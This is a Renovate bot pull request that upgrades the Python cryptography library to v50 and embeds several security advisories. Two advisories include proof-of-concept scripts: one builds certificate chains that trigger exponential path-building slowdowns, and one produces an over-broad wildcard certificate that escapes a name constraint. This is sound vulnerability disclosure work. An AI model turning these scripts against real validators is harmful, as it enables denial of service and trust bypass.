Update dependency cryptography to v50 [SECURITY] by renovate[bot] · Pull Request #133 · gridhead/expedite

renovate · 2026-02-11T05:54:28Z

This PR contains the following updates:

Package	Change	Age	Confidence
cryptography (changelog)	`^42.0.8 \|\| ^43.0.0 \|\| ^44.0.0 \|\| ^45.0.0` → `^50.0.0`

cryptography Vulnerable to a Subgroup Attack Due to Missing Subgroup Validation for SECT Curves

CVE-2026-26007 / GHSA-r6ph-v2qm-q3c2

More information

Details

Vulnerability Summary

The public_key_from_numbers (or EllipticCurvePublicNumbers.public_key()), EllipticCurvePublicNumbers.public_key(), load_der_public_key() and load_pem_public_key() functions do not verify that the point belongs to the expected prime-order subgroup of the curve.

This missing validation allows an attacker to provide a public key point P from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as S = [victim_private_key]P via ECDH, this leaks information about victim_private_key mod (small_subgroup_order). For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup.

Only SECT curves are impacted by this.

Credit

This vulnerability was discovered by:

XlabAI Team of Tencent Xuanwu Lab
Atuin Automated Vulnerability Discovery Engine

Severity

CVSS Score: 8.2 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

cryptography has incomplete DNS name constraint enforcement on peer names

CVE-2026-34073 / GHSA-m959-cc7f-wv43

More information

Details

Summary

In versions of cryptography prior to 46.0.5, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named bar.example.com to validate against a wildcard leaf certificate for *.example.com, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for bar.example.com.

This behavior resulted from a gap between RFC 5280 (which defines Name Constraint semantics) and RFC 9525 (which defines service identity semantics): put together, neither states definitively whether Name Constraints should be applied to peer names. To close this gap, cryptography now conservatively rejects any validation where the peer name would be rejected by a name constraint if it were a SAN instead.

In practice, exploitation of this bypass requires an uncommon X.509 topology, one that the Web PKI avoids because it exhibits these kinds of problems. Consequently, we consider this a medium-to-low impact severity.

See CVE-2025-61727 for a similar bypass in Go's crypto/x509.

Remediation

Users should upgrade to 46.0.6 or newer.

Attribution

Reporter: @1seal

Severity

CVSS Score: 1.7 / 10 (Low)
Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Cryptography vulnerable to buffer overflow if non-contiguous buffers were passed to APIs

CVE-2026-39892 / GHSA-p423-j2cm-9vmq

More information

Details

If a non-contiguous buffer was passed to APIs which accepted Python buffers (e.g. Hash.update()), this could lead to buffer overflows. For example:

h = Hash(SHA256())
b.update(buf[::-1])

would read past the end of the buffer on Python >3.11

Severity

CVSS Score: 6.9 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Vulnerable OpenSSL included in cryptography wheels

GHSA-537c-gmf6-5ccf

More information

Details

pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in wheels prior to cryptograph 48.01 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20260609.txt.

If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle through distinguishable errors and timing

CVE-2026-69247 / GHSA-g6cj-pr64-35w5

More information

Details

Summary

pkcs7_decrypt_der, pkcs7_decrypt_pem, and pkcs7_decrypt_smime reported the
outcome of decrypting a RecipientInfo's encryptedKey in several
distinguishable ways, one of which disclosed the exact length recovered from the
RSA operation. The same distinction was also observable by timing. An
application that decrypts attacker-supplied EnvelopedData and reflects the
outcome gives the attacker a Bleichenbacher oracle against the
content-encryption key.

Introduced in 44.0.0. Fixed in 50.0.0.

Details

Decryption ran as: RSA PKCS#1 v1.5 decrypt of encryptedKey → build an AES
cipher from the result → AES-CBC decrypt and PKCS#7 unpad. Each stage failed
differently, with no RFC 3218 mitigation:

invalid RSA padding → Decryption failed
valid padding, bad key length → Invalid key size (N) for AES., disclosing N
correct length, wrong key → Invalid padding bytes.
the real key → plaintext

Case 1 is reachable only where the linked library lacks implicit rejection:
OpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. On OpenSSL 3.2+, used in our wheels,
invalid padding instead returns a synthetic plaintext of
pseudorandom length, so the error channel does not distinguish conforming
ciphertexts.

Exploitation requires a service that auto-decrypts untrusted EnvelopedData
matching the victim certificate and answers adaptively at high volume, such as
an S/MIME gateway or mail filter.

Fix

Per RFC 3218, the content-encryption algorithm is now resolved before the
private key is used, so the expected key length is known in advance. If the RSA
decryption fails or recovers a key of the wrong length, a random key of the
expected length is substituted and decryption continues down an identical path.
All failures now report identically and perform the same work.

Not addressed by this fix

EnvelopedData does not authenticate its content. Tampering with
encryptedContent alone yields a CBC padding oracle that recovers plaintext at
roughly 256 queries per byte, without recovering any key, on every backend. This
is a property of PKCS#7 rather than of this implementation, cannot be fixed in
the library, and is now documented.

Credit

Reported by @X1AOxiang.

Severity

CVSS Score: 8.2 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

python-cryptography: Duplicate self-signed intermediates can cause exponential path-building

CVE-2026-69249 / GHSA-jwv3-5hgf-82ww

More information

Details

Summary

When resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.

This work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission.

Details

The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates.

    fn build_chain_inner(
        &self,
        working_cert: &VerificationCertificate<'chain, B>,
        current_depth: u8,
        working_cert_extensions: &Extensions<'chain>,
        name_chain: NameChain<'_, 'chain>,
        budget: &mut Budget,
    ) -> ValidationResult<'chain, Chain<'chain, B>, B> {
        if let Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) {
            name_chain.evaluate_constraints(&nc.value()?, budget)?;
        }

        // Look in the store's root set to see if the working cert is listed.
        // If it is, we've reached the end.
        if self.store.contains(working_cert) {
            return Ok(vec![working_cert.clone()]);
        }

        // Check that our current depth does not exceed our policy-configured
        // max depth. We do this after the root set check, since the depth
        // only measures the intermediate chain's length, not the root or leaf.
        if current_depth > self.policy.max_chain_depth {
            return Err(ValidationError::new(ValidationErrorKind::Other(
                "chain construction exceeds max depth".into(),
            )));
        }

        // Otherwise, we collect a list of potential issuers for this cert,
        // and continue with the first that verifies.
        let mut last_err: Option<ValidationError<'_, B>> = None;
        for issuing_cert_candidate in self.potential_issuers(working_cert) {
            // A candidate issuer is said to verify if it both
            // signs for the working certificate and conforms to the
            // policy.
            let issuer_extensions = issuing_cert_candidate.certificate().extensions()?;
            match self.policy.valid_issuer(
                issuing_cert_candidate,
                working_cert,
                current_depth,
                &issuer_extensions,
            ) {
                Ok(_) => {
                    match self.build_chain_inner(

A sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.

          let mut seen_valid_issuers = Vec::<&VerificationCertificate<'chain, B>>::new();
          for issuing_cert_candidate in self.potential_issuers(working_cert) {
          . . .
                  Ok(_) => {
                      if seen_valid_issuers.contains(&issuing_cert_candidate) {
                         continue;
                      }
                      seen_valid_issuers.push(issuing_cert_candidate);
 
                      match self.build_chain_inner(
                          issuing_cert_candidate,
                          // NOTE(ww): According to RFC 5280, we should only

In testing, this fix removed the exponential blowup without breaking apparent correctness.

duplicates,max_depth,result,seconds
1,7,rejected,0.000464 -> 1,7,rejected,0.000667
2,7,rejected,0.025154 -> 2,7,rejected,0.001229
3,7,rejected,0.489924 -> 3,7,rejected,0.001619 
4,7,rejected,4.309403 -> 4,7,rejected,0.002144
3,8,rejected,1.468193 -> 3,8,rejected,0.001811
4,8,timeout>5s,       -> 4,8,rejected,0.002410
5,7,timeout>5s,       -> 5,7,rejected,0.002640
6,6,timeout>5s,       -> 6,6,rejected,0.002829

PoC

The following script benchmarks processing times for malicious cert chains.

import datetime
import multiprocessing
import time

import cryptography
from cryptography import x509
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.oid import ExtendedKeyUsageOID, NameOID
from cryptography.x509.verification import (
    DNSName,
    PolicyBuilder,
    Store,
    VerificationError,
)

NOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)
TIMEOUT = 5
CA_KEY_USAGE = x509.KeyUsage(
    digital_signature=True,
    content_commitment=False,
    key_encipherment=False,
    data_encipherment=False,
    key_agreement=False,
    key_cert_sign=True,
    crl_sign=True,
    encipher_only=False,
    decipher_only=False,
)
EE_KEY_USAGE = x509.KeyUsage(
    digital_signature=True,
    content_commitment=False,
    key_encipherment=False,
    data_encipherment=False,
    key_agreement=False,
    key_cert_sign=False,
    crl_sign=False,
    encipher_only=False,
    decipher_only=False,
)

def name(common_name):
    return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])

def base_builder(subject, issuer, public_key, serial):
    return (
        x509.CertificateBuilder()
        .subject_name(subject)
        .issuer_name(issuer)
        .public_key(public_key)
        .serial_number(serial)
        .not_valid_before(NOW - datetime.timedelta(days=1))
        .not_valid_after(NOW + datetime.timedelta(days=30))
    )

def make_ca(common_name, serial):
    private_key = ec.generate_private_key(ec.SECP256R1())
    subject = name(common_name)
    cert = (
        base_builder(subject, subject, private_key.public_key(), serial)
        .add_extension(x509.BasicConstraints(ca=True, path_length=None), True)
        .add_extension(CA_KEY_USAGE, True)
        .add_extension(
            x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),
            False,
        )
        .sign(private_key, hashes.SHA256())
    )
    return private_key, cert

def make_leaf(issuer_key, issuer_cert):
    private_key = ec.generate_private_key(ec.SECP256R1())
    return (
        base_builder(name("leaf"), issuer_cert.subject, private_key.public_key(), 100)
        .add_extension(x509.BasicConstraints(ca=False, path_length=None), True)
        .add_extension(EE_KEY_USAGE, True)
        .add_extension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), False)
        .add_extension(
            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),
            False,
        )
        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)
        .sign(issuer_key, hashes.SHA256())
    )

def build_material():
    looping_key, looping_ca = make_ca("looping self-signed CA", 1)
    _, unrelated_root = make_ca("unrelated trust anchor", 2)
    leaf = make_leaf(looping_key, looping_ca)
    return leaf, looping_ca, unrelated_root

def verify_case(duplicates, max_depth, queue):
    leaf, looping_ca, unrelated_root = build_material()
    verifier = (
        PolicyBuilder()
        .store(Store([unrelated_root]))
        .time(NOW)
        .max_chain_depth(max_depth)
        .build_server_verifier(DNSName("example.com"))
    )

    start = time.perf_counter()
    try:
        verifier.verify(leaf, [looping_ca] * duplicates)
        result = "accepted"
    except VerificationError:
        result = "rejected"
    queue.put((result, time.perf_counter() - start))

def run_case(duplicates, max_depth):
    queue = multiprocessing.Queue()
    process = multiprocessing.Process(
        target=verify_case,
        args=(duplicates, max_depth, queue),
    )
    process.start()
    process.join(TIMEOUT)

    if process.is_alive():
        process.terminate()
        process.join()
        print(f"{duplicates},{max_depth},timeout>{TIMEOUT}s,")
        return

    result, elapsed = queue.get()
    print(f"{duplicates},{max_depth},{result},{elapsed:.6f}")

if __name__ == "__main__":
    print("duplicates,max_depth,result,seconds")
    for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]:
        run_case(*case)

Impact

This issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.

Severity

CVSS Score: 8.7 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees

CVE-2026-69248 / GHSA-m2h6-j472-rp4c

More information

Details

Summary

If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names.

PoC


#!/usr/bin/env python3
"""Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.

Setup:
  Sub-CA permitted constraint: dNSName = foo.example.com
  Leaf SAN:                    dNSName = *.example.com
Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).
Observed: pyca accepts; further, asks server-verifier whether the leaf is
authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope
escape.
"""
import datetime
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.verification import (
    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,
)

now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)
day = datetime.timedelta(days=1)

def build(subject, issuer, key, issuer_key, ca, exts=()):
    b = (x509.CertificateBuilder()
         .subject_name(subject).issuer_name(issuer)
         .public_key(key.public_key())
         .serial_number(x509.random_serial_number())
         .not_valid_before(now - 30 * day)
         .not_valid_after(now + 3650 * day)
         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))
    for e, c in exts:
        b = b.add_extension(e, c)
    return b.sign(issuer_key, hashes.SHA256())

##### Root
rk = ec.generate_private_key(ec.SECP256R1())
rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")])
root = build(rn, rn, rk, rk, True)

##### Sub-CA constrained to foo.example.com
sk = ec.generate_private_key(ec.SECP256R1())
sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")])
nc = x509.NameConstraints(
    permitted_subtrees=[x509.DNSName("foo.example.com")],
    excluded_subtrees=None,
)
sub = build(sn, rn, sk, rk, True, [(nc, True)])

##### Leaf with SAN *.example.com (over-broad relative to the constraint)
lk = ec.generate_private_key(ec.SECP256R1())
ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")])
san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")])
leaf = build(ln, sn, lk, sk, False, [(san, False)])

##### Policies
ca_pol = ExtensionPolicy.permit_all().require_present(
    x509.BasicConstraints, Criticality.AGNOSTIC, None,
)
ee_pol = ExtensionPolicy.permit_all().require_present(
    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,
)
v = (
    PolicyBuilder()
    .store(Store([root]))
    .time(now)
    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)
    .build_server_verifier(x509.DNSName("bar.example.com"))
)
try:
    v.verify(leaf, [sub])
    print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com")
except VerificationError as e:
    print(f"EXPECTED: VerificationError: {e}")

Impact

Acceptance of invalid certificate chain.

Severity

CVSS Score: 6.9 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

pyca/cryptography (cryptography)

Configuration

📅 Schedule: (UTC)

Branch creation
- At any time (no schedule defined)
Automerge
- At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

Signed-off-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

renovate Bot added python security labels Feb 11, 2026

renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch from 5629de2 to dd0dcd5 Compare March 26, 2026 16:31

renovate Bot changed the title ~~Update dependency cryptography to v46 [SECURITY]~~ Update dependency cryptography to v46 [SECURITY] - autoclosed Mar 27, 2026

renovate Bot closed this Mar 27, 2026

renovate Bot deleted the renovate/pypi-cryptography-vulnerability branch March 27, 2026 01:01

renovate Bot changed the title ~~Update dependency cryptography to v46 [SECURITY] - autoclosed~~ Update dependency cryptography to v46 [SECURITY] Mar 29, 2026

renovate Bot reopened this Mar 29, 2026

renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch 2 times, most recently from dd0dcd5 to 786658c Compare March 29, 2026 01:52

renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch from 786658c to 872c34b Compare April 8, 2026 23:11

renovate Bot changed the title ~~Update dependency cryptography to v46 [SECURITY]~~ Update dependency cryptography to v46 [SECURITY] - autoclosed Apr 27, 2026

renovate Bot closed this Apr 27, 2026

renovate Bot changed the title ~~Update dependency cryptography to v46 [SECURITY] - autoclosed~~ Update dependency cryptography to v46 [SECURITY] Apr 27, 2026

renovate Bot reopened this Apr 27, 2026

renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch 2 times, most recently from 872c34b to 18e79db Compare April 27, 2026 23:46

renovate Bot changed the title ~~Update dependency cryptography to v46 [SECURITY]~~ Update dependency cryptography to v48 [SECURITY] May 12, 2026

renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch from 18e79db to d57c69c Compare May 12, 2026 16:03

renovate Bot changed the title ~~Update dependency cryptography to v48 [SECURITY]~~ Update dependency cryptography to v46 [SECURITY] May 12, 2026

renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch from d57c69c to c1c20ae Compare May 12, 2026 18:14

renovate Bot changed the title ~~Update dependency cryptography to v46 [SECURITY]~~ Update dependency cryptography to v48 [SECURITY] May 13, 2026

renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch from c1c20ae to db7ec9c Compare May 13, 2026 10:31

renovate Bot changed the title ~~Update dependency cryptography to v48 [SECURITY]~~ Update dependency cryptography to v46 [SECURITY] May 13, 2026

renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch from db7ec9c to b79cbc9 Compare May 13, 2026 13:35

renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch from b79cbc9 to e6234d8 Compare May 25, 2026 21:52

renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch from e6234d8 to fe2d2fe Compare June 19, 2026 13:03

renovate Bot changed the title ~~Update dependency cryptography to v46 [SECURITY]~~ Update dependency cryptography to v48 [SECURITY] Jun 19, 2026

Update dependency cryptography to v50 [SECURITY]

337be68

Signed-off-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

renovate Bot force-pushed the renovate/pypi-cryptography-vulnerability branch from fe2d2fe to 337be68 Compare August 5, 2026 01:54

renovate Bot changed the title ~~Update dependency cryptography to v48 [SECURITY]~~ Update dependency cryptography to v50 [SECURITY] Aug 5, 2026

Navigation Menu

Uh oh!

Update dependency cryptography to v50 [SECURITY] - #133

Update dependency cryptography to v50 [SECURITY]#133
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-cryptography-vulnerability

renovate Bot commented Feb 11, 2026 •

edited

Loading

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

Uh oh!

Conversation

renovate Bot commented Feb 11, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

cryptography Vulnerable to a Subgroup Attack Due to Missing Subgroup Validation for SECT Curves

Details

Vulnerability Summary

Credit

Severity

References

cryptography has incomplete DNS name constraint enforcement on peer names

Details

Summary

Remediation

Attribution

Severity

References

Cryptography vulnerable to buffer overflow if non-contiguous buffers were passed to APIs

Details

Severity

References

Vulnerable OpenSSL included in cryptography wheels

Details

Severity

References

cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle through distinguishable errors and timing

Details

Summary

Details

Fix

Not addressed by this fix

Credit

Severity

References

python-cryptography: Duplicate self-signed intermediates can cause exponential path-building

Details

Summary

Details

PoC

Impact

Severity

References

python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees

Details

Summary

PoC

Impact

Severity

References

Release Notes

Configuration

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

renovate Bot commented Feb 11, 2026 •

edited

Loading